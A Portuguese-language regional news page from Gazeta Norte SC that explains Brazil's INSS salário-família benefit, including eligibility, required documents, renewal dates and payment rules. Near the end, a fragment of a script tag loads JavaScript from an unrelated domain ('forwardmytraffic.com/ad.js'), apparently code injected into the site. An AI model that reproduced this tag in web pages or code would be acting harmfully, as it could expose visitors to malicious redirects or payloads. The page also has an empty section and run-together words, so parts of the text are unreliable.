InícioDestaqueSalário-família (INSS) Entenda já

Salário-família (INSS) Entenda já

Últimas notícias

Pé-de-Meia: pagamento a estudantes começa nesta segunda

O pagamento do benefício do programa Pé-de-Meia tem início nesta...

Motociclista fica ferido após colisão na Av. Rigesa em Três Barras

Na manhã desse segunda-feira, 25, por volta das 06...

Jovem sob efeito de drogas, agride própria mãe e irmã

Nessa quarta-feira, 20, a polícia militar foi acionada para...

1. O que é?

O salário-família é um valor pago ao empregado, inclusive o doméstico, e ao trabalhador avulso, de acordo com o número de filhos ou equiparados que possua. Filhos maiores de 14 anos não têm direito, exceto no caso dos inválidos (para quem não há limite de idade).

 

 

Para ter direito, o cidadão precisa enquadrar-se no limite máximo de renda estipulado pelo governo federal (confira a tabela com o valor do benefício).

 

 

O empregado, inclusive o doméstico, deve requerer o salário-família diretamente ao empregador. Já o trabalhador avulso deve requerer o benefício ao sindicato ou órgão gestor de mão-de-obra ao qual está vinculado.

 

 

Casos estes trabalhadores estejam recebendo auxílio-doençaaposentadoria por invalidez e aposentadoria por idade rural, devem realizar o seu requerimento no INSS.

 

 

O mesmo vale para os demais aposentados, que também têm direito ao salário-família, caso tenham mais de 65 anos de idade, se homem, ou 60 anos de idade, se mulher, e possuam filhos que se enquadrem nos critérios para a concessão.

 

 

2. Principais requisitos

 

3. Documentos originais e formulários necessários

Para requerer o salário-família, o cidadão deve apresentar os seguintes documentos:

 

  • Documento de identificação com foto e o número do CPF;
  • termo de responsabilidade;
  • certidão de nascimento de cada dependente;
  • caderneta de vacinação ou equivalente, dos dependentes de até 6 anos de idade;
  • comprovação de frequência escolar dos dependentes de 7 a 14 anos de idade;
  • requerimento de salário-família (apenas para processos de aposentadoria ou quando não solicitado no requerimento de benefício por incapacidade).

 

Para renovar o direito ao benefício é necessário apresentar anualmente a carteira de vacinação dos dependentes de até 6 anos de idade, sempre no mês de novembro. Já a frequência escolar deve ser comprovada a cada seis meses, em maio e novembro.

 

 

4. Outras informações

  • Os dois pais têm direito ao benefício, caso ambos satisfaçam os requisitos para a concessão;

 

  • Caso o salário-família pago pelo INSS seja suspenso por falta de renovação, os valores serão pagos depois que a situação for regularizada;

 

  • Considera-se remuneração mensal o valor total do respectivo salário de contribuição, caso o cidadão exerça mais de uma atividade;

 

  • Caso o cidadão esteja em gozo de benefício da Previdência Social, o valor do salário-família será pago como acréscimo no próprio benefício.

… src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>

Equipe Gazeta
Equipe Gazetahttps://gazetanortesc.com.br
Somos um jornal de notícias e classificados gratuitos. Estamos há 25 anos no mercado e nosso principal diferencial é o jornal digital.